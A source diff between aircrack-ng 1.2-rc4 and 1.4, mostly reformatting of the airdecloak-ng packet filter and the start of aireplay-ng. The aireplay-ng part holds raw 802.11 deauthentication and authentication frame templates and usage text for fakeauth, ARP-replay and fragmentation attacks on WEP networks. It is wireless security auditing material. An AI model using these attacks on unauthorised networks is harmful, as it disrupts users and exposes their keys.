-            {"no-base-filter",		0, 0, 'a'},
-            {"disable-base-filter",	0, 0, 'a'},
-            //{"disable-retry",		0, 0, 'r'},
-            {"drop-frag",			0, 0, 'd'},
-            {"input",				1, 0, 'i'},
-            {"cloaked",				1, 0, 'c'},
-            {"filtered",			1, 0, 'f'},
-            {0,						0, 0,  0 }
-        };
-
-		//option = getopt_long( argc, argv, "e:b:hf:nbrdi:",
-		option = getopt_long( argc, argv, "e:b:hf:nbdi:c:o:u:",
-                        long_options, &option_index );
-
-		if( option < 0 ) break;
-
-
-		switch( option )
+		int option_index = 0;
+
+		static struct option long_options[]
+			= {{"essid", 1, 0, 'e'},
+			   {"ssid", 1, 0, 'e'},
+			   {"bssid", 1, 0, 'b'},
+			   {"help", 0, 0, 'h'},
+			   {"filter", 1, 0, 'f'},
+			   {"filters", 1, 0, 'f'},
+			   {"null-packets", 0, 0, 'n'},
+			   {"null-packet", 0, 0, 'n'},
+			   {"null_packets", 0, 0, 'n'},
+			   {"null_packet", 0, 0, 'n'},
+			   {"no-base-filter", 0, 0, 'a'},
+			   {"disable-base-filter", 0, 0, 'a'},
+			   //{"disable-retry",		0, 0, 'r'},
+			   {"drop-frag", 0, 0, 'd'},
+			   {"input", 1, 0, 'i'},
+			   {"cloaked", 1, 0, 'c'},
+			   {"filtered", 1, 0, 'f'},
+			   {0, 0, 0, 0}};
+
+		// option = getopt_long( argc, argv, "e:b:hf:nbrdi:",
+		option = getopt_long(
+			argc, argv, "e:b:hf:nbdi:c:o:u:", long_options, &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
 		{
-			case ':' :
+			case ':':
 
 				printf("\"%s --help\" for help.\n", argv[0]);
-				return( 1 );
+				return (1);
 
-			case '?' :
+			case '?':
 
 				printf("\"%s --help\" for help.\n", argv[0]);
-				return( 1 );
+				return (1);
 			case 'a':
 				_options_disable_base_filter = 1;
 				break;
@@ -1456,16 +1610,16 @@
 			case 'o':
 				if (optarg != NULL)
 				{
-    				_filename_output_filtered = optarg;
-	    			manual_filtered_fname = 1;
-    			}
+					_filename_output_filtered = optarg;
+					manual_filtered_fname = 1;
+				}
 				break;
 			case 'u':
-				if (optarg != NULL)
-					_filename_output_invalid = optarg;
+				if (optarg != NULL) _filename_output_invalid = optarg;
 				break;
 			case 'b':
-				if (getmac(optarg, 1, _bssid)) {
+				if (getmac(optarg, 1, _bssid))
+				{
 					puts("Failed to parse MAC address");
 					exit(1);
 				}
@@ -1477,36 +1631,50 @@
 				// Filters
 				filter_name = strtok(optarg, ",");
 				temp = 1;
-				while (filter_name != NULL) {
+				while (filter_name != NULL)
+				{
 					if (strcmp(filter_name, "signal") == 0
-						|| atoi(filter_name) == FILTER_SIGNAL) {
+						|| atoi(filter_name) == FILTER_SIGNAL)
+					{
 						_filters = _filters + (FILTER_SIGNAL * temp);
 					}
 					else if (strcmp(filter_name, "duplicate_sn") == 0
-						|| atoi(filter_name) == FILTER_DUPLICATE_SN) {
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN)
+					{
 						_filters = _filters + (FILTER_DUPLICATE_SN * temp);
 					}
 					else if (strcmp(filter_name, "duplicate_sn_ap") == 0
-						|| atoi(filter_name) == FILTER_DUPLICATE_SN_AP) {
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP)
+					{
 						_filters = _filters + (FILTER_DUPLICATE_SN_AP * temp);
 					}
 					else if (strcmp(filter_name, "duplicate_sn_client") == 0
-						|| atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT) {
-						_filters = _filters + (FILTER_DUPLICATE_SN_CLIENT * temp);
+							 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT)
+					{
+						_filters
+							= _filters + (FILTER_DUPLICATE_SN_CLIENT * temp);
 					}
 					else if (strcmp(filter_name, "consecutive_sn") == 0
-						|| atoi(filter_name) == FILTER_CONSECUTIVE_SN) {
+							 || atoi(filter_name) == FILTER_CONSECUTIVE_SN)
+					{
 						_filters = _filters + (FILTER_CONSECUTIVE_SN * temp);
 					}
 					else if (strcmp(filter_name, "duplicate_iv") == 0
-						|| atoi(filter_name) == FILTER_DUPLICATE_IV) {
+							 || atoi(filter_name) == FILTER_DUPLICATE_IV)
+					{
 						_filters = _filters + (FILTER_DUPLICATE_IV * temp);
 					}
-					else if (strcmp(filter_name, "signal_dup_consec_sn") == 0
-						|| atoi(filter_name) == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN) {
-						_filters = _filters + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN * temp);
+					else if (
+						strcmp(filter_name, "signal_dup_consec_sn") == 0
+						|| atoi(filter_name)
+							   == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN)
+					{
+						_filters = _filters
+								   + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN
+									  * temp);
 					}
-					else {
+					else
+					{
 						usage();
 						puts("Invalid filter name");
 						exit(1);
@@ -1534,12 +1702,11 @@
 				usage();
 				exit(0);
 				break;
-
 		}
-
 	}
 
-	if (input_filename == NULL) {
+	if (input_filename == NULL)
+	{
 		usage();
 		puts("Missing input file");
 		exit(1);
@@ -1552,16 +1719,23 @@
 			--ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap)
 
 		Optional:
-			-o <file>             : Output packets (valid) file (default: <src>-filtered.pcap)
-			-c <file>             : Output packets (cloaked) file (default: <src>-cloaked.pcap)
-			-u <file>             : Output packets (unknown/ignored) file (default: invalid_status.pcap)
+			-o <file>             : Output packets (valid) file (default:
+	   <src>-filtered.pcap)
+			-c <file>             : Output packets (cloaked) file (default:
+	   <src>-cloaked.pcap)
+			-u <file>             : Output packets (unknown/ignored) file
+	   (default: invalid_status.pcap)
 			-f (--filters/--filter)
 				Available filters:
-					* signal: Tries to filter based on the signal (AP never/is not supposed to moves thus ...)
+					* signal: Tries to filter based on the signal (AP never/is
+	   not supposed to moves thus ...)
 					* duplicate_sn: remove all duplicate SN
-					* duplicate_sn_ap/duplicate_sn_client: remove all duplicate SN from the AP/Client
-					* consecutive_sn: filter based on the fact that IV should be consecutive (only for AP).
-				Several filters can be used and you can choose the order of application of these filters
+					* duplicate_sn_ap/duplicate_sn_client: remove all duplicate
+	   SN from the AP/Client
+					* consecutive_sn: filter based on the fact that IV should be
+	   consecutive (only for AP).
+				Several filters can be used and you can choose the order of
+	   application of these filters
 					(that will impact the results).
 			--null-packets: Do not assume that null packets are not cloaked.
 			--no-base_filter: do not apply base filter.
@@ -1573,54 +1747,65 @@
 	printf("BSSID: %s\n", input_bssid);
 	puts("");
 
-
 	// Open capture file
 	puts("Opening file");
 	_input_file = open_existing_pcap(input_filename);
 
-	if (_input_file == NULL) {
+	if (_input_file == NULL)
+	{
 		return 1;
 	}
 
 	// Create output filenames
 	if (manual_cloaked_fname == 0 || manual_filtered_fname == 0)
 	{
-        temp = strlen( input_filename );
-        if (!manual_cloaked_fname)
-            _filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1);
-
-        if (!manual_filtered_fname)
-            _filename_output_filtered = (char *) calloc(temp + 10 + 5, 1);
-
-	    while (--temp > 0)
-	    {
-		    if (input_filename[temp] == '.')
-			    break;
-	    }
-
-	    // No extension
-        if (temp == 0) {
-            if (!manual_cloaked_fname)
-                snprintf(_filename_output_cloaked, strlen( input_filename ) + 9 + 5, "%s-cloaked.pcap", input_filename);
-            if (!manual_filtered_fname)
-                snprintf(_filename_output_filtered, strlen( input_filename ) + 10 + 5, "%s-filtered.pcap", input_filename);
-        }
-        else {
-            if (!manual_cloaked_fname)
-            {
-                strncpy(_filename_output_cloaked, input_filename, strlen( input_filename ) + 9 + 5 - 1);
-                strncat(_filename_output_cloaked, "-cloaked.pcap", 14);
-            }
-            if (!manual_filtered_fname)
-            {
-                strncpy(_filename_output_filtered, input_filename, strlen( input_filename ) + 10 + 5 - 1);
-                strncat(_filename_output_filtered, "-filtered.pcap", 15);
-            }
-        }
-    }
-
-	printf("Output packets (valid) filename: %s\n",  _filename_output_filtered);
-	printf("Output packets (cloaked) filename: %s\n",  _filename_output_cloaked);
+		temp = strlen(input_filename);
+		if (!manual_cloaked_fname)
+			_filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1);
+
+		if (!manual_filtered_fname)
+			_filename_output_filtered = (char *) calloc(temp + 10 + 5, 1);
+
+		while (--temp > 0)
+		{
+			if (input_filename[temp] == '.') break;
+		}
+
+		// No extension
+		if (temp == 0)
+		{
+			if (!manual_cloaked_fname)
+				snprintf(_filename_output_cloaked,
+						 strlen(input_filename) + 9 + 5,
+						 "%s-cloaked.pcap",
+						 input_filename);
+			if (!manual_filtered_fname)
+				snprintf(_filename_output_filtered,
+						 strlen(input_filename) + 10 + 5,
+						 "%s-filtered.pcap",
+						 input_filename);
+		}
+		else
+		{
+			if (!manual_cloaked_fname)
+			{
+				strncpy(_filename_output_cloaked,
+						input_filename,
+						strlen(input_filename) + 9 + 5 - 1);
+				strncat(_filename_output_cloaked, "-cloaked.pcap", 14);
+			}
+			if (!manual_filtered_fname)
+			{
+				strncpy(_filename_output_filtered,
+						input_filename,
+						strlen(input_filename) + 10 + 5 - 1);
+				strncat(_filename_output_filtered, "-filtered.pcap", 15);
+			}
+		}
+	}
+
+	printf("Output packets (valid) filename: %s\n", _filename_output_filtered);
+	printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked);
 
 	// 1. Read all packets and put the following in a linked list:
 	//    Data and management packets only (filter out control packets)
@@ -1631,28 +1816,28 @@
 	tempBool = read_packets();
 	fclose(_input_file);
 
-	if (tempBool != true) {
+	if (tempBool != true)
+	{
 		printf("Failed reading packets: %d\n", temp);
 		return 1;
 	}
 
-
-
-	// 2. Go thru the list and mark all cloaked packets
+	// 2. Go through the list and mark all cloaked packets
 	puts("Checking for cloaked frames");
 	tempBool = check_for_cloaking();
-	if (tempBool != true) {
+	if (tempBool != true)
+	{
 		printf("Checking for cloaking failed: %d\n", temp);
 		return 1;
 	}
 
-
 	// 3. Write all data to output files
 
 	// Write packets
 	puts("Writing packets to files");
 	tempBool = write_packets();
-	if (tempBool != true) {
+	if (tempBool != true)
+	{
 		printf("Writing packets failed: %d\n", temp);
 		return 1;
 	}

aircrack-ng-1.2-rc4.tar.gz/src/airdecloak-ng.h -> aircrack-ng-1.4.tar.gz/src/airdecloak-ng.h Changed

@@ -12,8 +12,8 @@
  *
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
  *
  * In addition, as a special exception, the copyright holders give
  * permission to link the code of portions of this program with the
@@ -33,9 +33,9 @@
 #define _AIRUNDEFENSE_H_
 
 #include "pcap.h"
-#include "common.h"
+#include "aircrack-util/common.h"
 
-typedef enum {false, true} BOOLEAN;
+typedef enum { false, true } BOOLEAN;
 
 /*
 typedef enum {
@@ -47,15 +47,12 @@
 	WEIRD_FRAME_TYPE
 } CLOAKING_STATUS;
 */
-// How far should we check for cloacked packets (backward and forward)
+// How far should we check for cloaked packets (backward and forward)
 #define PACKET_CHECKING_LENGTH 10
 
-
 #define DIRECTION_BACKWARD 0
 #define DIRECTION_FORWARD 1
 
-
-
 #define UKNOWN_FRAME_CLOAKING_STATUS -1
 #define VALID_FRAME_UNCLOAKED 0
 #define CLOAKED_FRAME 2
@@ -65,7 +62,6 @@
 // Weird frames are rejected before being checked atm
 #define WEIRD_FRAME_TYPE 100
 
-
 #define FRAME_TYPE_MANAGEMENT 0
 #define FRAME_TYPE_CONTROL 1
 #define FRAME_TYPE_DATA 2
@@ -77,7 +73,6 @@
 #define ASSOCIATION_RESPONSE 0x10
 #define NULL_FRAME 0x48
 
-
 #define FILTER_SIGNAL 1
 #define FILTER_DUPLICATE_SN 2
 #define FILTER_DUPLICATE_SN_AP 3
@@ -86,129 +81,132 @@
 #define FILTER_DUPLICATE_IV 6
 #define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7
 
-
 #define getBit(pckt, startbit) getBits(pckt, startbit, 1)
-#define get_iv(packet) ((packet)->iv[0]+((packet)->iv[1] * 256)+((packet)->iv[2] *256*256))
+#define get_iv(packet)                                                         \
+	((packet)->iv[0] + ((packet)->iv[1] * 256) + ((packet)->iv[2] * 256 * 256))
 
-const int PACKET_HEADER_SIZE = sizeof( struct pcap_pkthdr );
+const int PACKET_HEADER_SIZE = sizeof(struct pcap_pkthdr);
 
-struct packet_elt_header {
-	struct packet_elt *first;
-	struct packet_elt *current;
-	struct packet_elt *last;
+struct packet_elt_header
+{
+	struct packet_elt * first;
+	struct packet_elt * current;
+	struct packet_elt * last;
 	int nb_packets;
 	int average_signal; // Calculate the average signal (for later)
-						// Currently do it on management frames (or control frames); may change in the future.
+	// Currently do it on management frames (or control frames); may change in
+	// the future.
 } * _packet_elt_head;
 
 struct packet_elt
 {
-    struct pcap_pkthdr header;  /* packet header */
-    unsigned char   *packet;    /* packet */
-    unsigned short  length;     /* packet length, just to know how much to write to the file */
+	struct pcap_pkthdr header; /* packet header */
+	unsigned char * packet; /* packet */
+	unsigned short
+		length; /* packet length, just to know how much to write to the file */
 
-    // A few interesting stuff coming from the packets
-    int fromDS;
-    int toDS;
+	// A few interesting stuff coming from the packets
+	int fromDS;
+	int toDS;
 
-    int frame_type; 			/* MGMT, CTRL, DATA */
-    int frame_subtype; // Not yet filled but will do
-    unsigned char version_type_subtype; // First byte
+	int frame_type; /* MGMT, CTRL, DATA */
+	int frame_subtype; // Not yet filled but will do
+	unsigned char version_type_subtype; // First byte
 
-    unsigned char  source[6];
-    unsigned char  destination[6];
-    unsigned char  bssid[6];
+	unsigned char source[6];
+	unsigned char destination[6];
+	unsigned char bssid[6];
 
-    int sequence_number;
-    int fragment_number;
-    unsigned char iv[3];
-    unsigned char key_index;
-    unsigned char icv[4];
-    int signal_quality;
-    int retry_bit;
-    int more_fragments_bit;
+	int sequence_number;
+	int fragment_number;
+	unsigned char iv[3];
+	unsigned char key_index;
+	unsigned char icv[4];
+	int signal_quality;
+	int retry_bit;
+	int more_fragments_bit;
 
-    //int packet_number;			/* packet number */
+	// int packet_number;			/* packet number */
 
-    int is_cloaked;
-    int is_dropped; // Do we have to drop this frame?
+	int is_cloaked;
+	int is_dropped; // Do we have to drop this frame?
 
 	int complete; // 0: no, 1: yes
 
-    struct packet_elt * next;
-    struct packet_elt * prev;
+	struct packet_elt * next;
+	struct packet_elt * prev;
 };
 
 // Not already used (partially maybe)
 struct decloak_stats
 {
-    unsigned long nb_read;      /* # of packets read       */
-    unsigned long nb_wep;       /* # of WEP data packets   */
-    unsigned long nb_bad;       /* # of bad data packets   */
-    unsigned long nb_wpa;       /* # of WPA data packets   */
-    unsigned long nb_plain;     /* # of plaintext packets  */
-    unsigned long nb_filt_wep;  /* # of filtered WEP pkt  */
-    unsigned long nb_cloak_wep; /* # of cloaked WEP pkt  */
+	unsigned long nb_read; /* # of packets read       */
+	unsigned long nb_wep; /* # of WEP data packets   */
+	unsigned long nb_bad; /* # of bad data packets   */
+	unsigned long nb_wpa; /* # of WPA data packets   */
+	unsigned long nb_plain; /* # of plaintext packets  */
+	unsigned long nb_filt_wep; /* # of filtered WEP pkt  */
+	unsigned long nb_cloak_wep; /* # of cloaked WEP pkt  */
 };
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern int getmac(char * macAddress, int strict, unsigned char * mac);
-extern char * mac2string(unsigned char * mac);
-extern int maccmp(unsigned char *mac1, unsigned char *mac2);
-
-void usage();
-int getBits(unsigned char b, int from, int length);
-FILE * openfile(const char * filename, const char * mode, int fatal);
-BOOLEAN write_packet(FILE * file, struct packet_elt * packet);
-FILE * init_new_pcap(const char * filename);
-FILE * open_existing_pcap(const char * filename);
-BOOLEAN read_packets(void);
-BOOLEAN initialize_linked_list();
-BOOLEAN add_node_if_not_complete();
-void set_node_complete();
-void remove_last_uncomplete_node();
-struct packet_elt * getPacketNr(int position);
-char * iv2string(unsigned char * iv);
-char * icv2string(unsigned char * icv);
-void print_packet(struct packet_elt * packet);
-void reset_current_packet_pointer();
-BOOLEAN reset_current_packet_pointer_to_ap_packet();
-BOOLEAN reset_current_packet_pointer_to_client_packet();
-BOOLEAN next_packet_pointer();
-BOOLEAN next_packet_pointer_from_ap();
-BOOLEAN next_packet_pointer_from_client();
-BOOLEAN prev_packet_pointer();
-int compare_SN_to_current_packet(struct packet_elt * packet);
-BOOLEAN current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
-BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
-BOOLEAN next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
-BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current();
-BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current();
-BOOLEAN write_packets();
-BOOLEAN print_statistics();
-char * status_format(int status);
-int get_average_signal_ap();
+static void usage(void);
+static int getBits(unsigned char b, int from, int length);
+static FILE * openfile(const char * filename, const char * mode, int fatal);
+static BOOLEAN write_packet(FILE * file, struct packet_elt * packet);
+static FILE * init_new_pcap(const char * filename);
+static FILE * open_existing_pcap(const char * filename);
+static BOOLEAN read_packets(void);
+static BOOLEAN initialize_linked_list(void);
+static BOOLEAN add_node_if_not_complete(void);
+static void set_node_complete(void);
+static void remove_last_uncomplete_node(void);
+// static struct packet_elt * getPacketNr(int position);
+// static char * iv2string(unsigned char * iv);
+// static char * icv2string(unsigned char * icv);
+// static void print_packet(struct packet_elt * packet);
+static void reset_current_packet_pointer(void);
+static BOOLEAN reset_current_packet_pointer_to_ap_packet(void);
+static BOOLEAN reset_current_packet_pointer_to_client_packet(void);
+static BOOLEAN next_packet_pointer(void);
+static BOOLEAN next_packet_pointer_from_ap(void);
+static BOOLEAN next_packet_pointer_from_client(void);
+// static BOOLEAN prev_packet_pointer(void);
+static int compare_SN_to_current_packet(struct packet_elt * packet);
+static BOOLEAN
+current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
+// static BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt
+// * packet);
+static BOOLEAN
+next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
+// static BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current(void);
+static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void);
+static BOOLEAN write_packets(void);
+static BOOLEAN print_statistics(void);
+static char * status_format(int status);
+static int get_average_signal_ap(void);
 
 // Check for cloaking functions
-BOOLEAN check_for_cloaking(); // Main cloaking check function
-#define CFC_base_filter() CFC_with_valid_packets_mark_others_with_identical_sn_cloaked()
-int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
-int CFC_mark_all_frames_with_status_to(int original_status, int new_status);
-int CFC_filter_signal();
-int CFC_filter_duplicate_sn_ap();
-int CFC_filter_duplicate_sn_client();
-int CFC_filter_duplicate_sn();
-int CFC_filter_consecutive_sn();
-int CFC_filter_consecutive_sn_ap();
-int CFC_filter_consecutive_sn_client();
-int CFC_filter_duplicate_iv();
-int CFC_filter_signal_duplicate_and_consecutive_sn();
+static BOOLEAN check_for_cloaking(void); // Main cloaking check function
+#define CFC_base_filter()                                                      \
+	CFC_with_valid_packets_mark_others_with_identical_sn_cloaked()
+static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void);
+static int CFC_mark_all_frames_with_status_to(int original_status,
+											  int new_status);
+static int CFC_filter_signal(void);
+static int CFC_filter_duplicate_sn_ap(void);
+static int CFC_filter_duplicate_sn_client(void);
+static int CFC_filter_duplicate_sn(void);
+static int CFC_filter_consecutive_sn(void);
+static int CFC_filter_consecutive_sn_ap(void);
+static int CFC_filter_consecutive_sn_client(void);
+static int CFC_filter_duplicate_iv(void);
+static int CFC_filter_signal_duplicate_and_consecutive_sn(void);
 
 /*
 const char usage[] =
 "\n"
 "  %s - (C) 2008 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
+"  https://www.aircrack-ng.org\n"
 "\n"
 "  usage: airundefense-ng <filename> <BSSID>\n"
 "\n";

aircrack-ng-1.2-rc4.tar.gz/src/aireplay-ng.c -> aircrack-ng-1.4.tar.gz/src/aireplay-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 WEP replay & injection attacks
  *
- *  Copyright (C) 2006-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  WEP decryption attack (chopchop) developed by KoreK
@@ -18,7 +18,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -36,7 +36,7 @@
  */
 
 #if defined(linux)
-    #include <linux/rtc.h>
+#include <linux/rtc.h>
 #endif
 
 #include <sys/types.h>
@@ -69,48 +69,48 @@
 
 #include "version.h"
 #include "pcap.h"
-#include "osdep/osdep.h"
+#include "aircrack-osdep/osdep.h"
 #include "crypto.h"
-#include "common.h"
+#include "aircrack-util/common.h"
+#include "aircrack-util/verifyssid.h"
+#include "aircrack-util/console.h"
 
-#define RTC_RESOLUTION  8192
+#define RTC_RESOLUTION 8192
 
-#define REQUESTS    30
-#define MAX_APS     20
+#define REQUESTS 30
+#define MAX_APS 50
 
-#define NEW_IV  1
-#define RETRY   2
-#define ABORT   3
+#define NEW_IV 1
+#define RETRY 2
+#define ABORT 3
 
-#define DEAUTH_REQ      \
-    "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
 
-#define AUTH_REQ        \
-    "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
 
-#define ASSOC_REQ       \
-    "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
 
-#define REASSOC_REQ       \
-    "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
+#define REASSOC_REQ                                                            \
+	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
 
-#define NULL_DATA       \
-    "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
 
-#define RTS             \
-    "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
 
-#define RATES           \
-    "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
 
-#define PROBE_REQ       \
-    "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
 
 #define RATE_NUM 12
 
@@ -128,200 +128,206 @@
 #define RATE_48M 48000000
 #define RATE_54M 54000000
 
-int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M};
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern int maccmp(unsigned char *mac1, unsigned char *mac2);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
-extern int check_crc_buf( unsigned char *buf, int len );
-extern const unsigned long int crc_tbl[256];
-extern const unsigned char crc_chop_tbl[256][4];
+int bitrates[RATE_NUM] = {RATE_1M,
+						  RATE_2M,
+						  RATE_5_5M,
+						  RATE_6M,
+						  RATE_9M,
+						  RATE_11M,
+						  RATE_12M,
+						  RATE_18M,
+						  RATE_24M,
+						  RATE_36M,
+						  RATE_48M,
+						  RATE_54M};
 
 char usage[] =
 
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: aireplay-ng <options> <replay interface>\n"
-"\n"
-"  Filter options:\n"
-"\n"
-"      -b bssid  : MAC address, Access Point\n"
-"      -d dmac   : MAC address, Destination\n"
-"      -s smac   : MAC address, Source\n"
-"      -m len    : minimum packet length\n"
-"      -n len    : maximum packet length\n"
-"      -u type   : frame control, type    field\n"
-"      -v subt   : frame control, subtype field\n"
-"      -t tods   : frame control, To      DS bit\n"
-"      -f fromds : frame control, From    DS bit\n"
-"      -w iswep  : frame control, WEP     bit\n"
-"      -D        : disable AP detection\n"
-"\n"
-"  Replay options:\n"
-"\n"
-"      -x nbpps  : number of packets per second\n"
-"      -p fctrl  : set frame control word (hex)\n"
-"      -a bssid  : set Access Point MAC address\n"
-"      -c dmac   : set Destination  MAC address\n"
-"      -h smac   : set Source       MAC address\n"
-"      -g value  : change ring buffer size (default: 8)\n"
-"      -F        : choose first matching packet\n"
-"\n"
-"      Fakeauth attack options:\n"
-"\n"
-"      -e essid  : set target AP SSID\n"
-"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
-"      -q sec    : seconds between keep-alives\n"
-"      -Q        : send reassociation requests\n"
-"      -y prga   : keystream for shared key auth\n"
-"      -T n      : exit after retry fake auth request n time\n"
-"\n"
-"      Arp Replay attack options:\n"
-"\n"
-"      -j        : inject FromDS packets\n"
-"\n"
-"      Fragmentation attack options:\n"
-"\n"
-"      -k IP     : set destination IP in fragments\n"
-"      -l IP     : set source IP in fragments\n"
-"\n"
-"      Test attack options:\n"
-"\n"
-"      -B        : activates the bitrate test\n"
-"\n"
-/*
+	"\n"
+	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: aireplay-ng <options> <replay interface>\n"
+	"\n"
+	"  Filter options:\n"
+	"\n"
+	"      -b bssid  : MAC address, Access Point\n"
+	"      -d dmac   : MAC address, Destination\n"
+	"      -s smac   : MAC address, Source\n"
+	"      -m len    : minimum packet length\n"
+	"      -n len    : maximum packet length\n"
+	"      -u type   : frame control, type    field\n"
+	"      -v subt   : frame control, subtype field\n"
+	"      -t tods   : frame control, To      DS bit\n"
+	"      -f fromds : frame control, From    DS bit\n"
+	"      -w iswep  : frame control, WEP     bit\n"
+	"      -D        : disable AP detection\n"
+	"\n"
+	"  Replay options:\n"
+	"\n"
+	"      -x nbpps  : number of packets per second\n"
+	"      -p fctrl  : set frame control word (hex)\n"
+	"      -a bssid  : set Access Point MAC address\n"
+	"      -c dmac   : set Destination  MAC address\n"
+	"      -h smac   : set Source       MAC address\n"
+	"      -g value  : change ring buffer size (default: 8)\n"
+	"      -F        : choose first matching packet\n"
+	"\n"
+	"      Fakeauth attack options:\n"
+	"\n"
+	"      -e essid  : set target AP SSID\n"
+	"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
+	"      -q sec    : seconds between keep-alives\n"
+	"      -Q        : send reassociation requests\n"
+	"      -y prga   : keystream for shared key auth\n"
+	"      -T n      : exit after retry fake auth request n time\n"
+	"\n"
+	"      Arp Replay attack options:\n"
+	"\n"
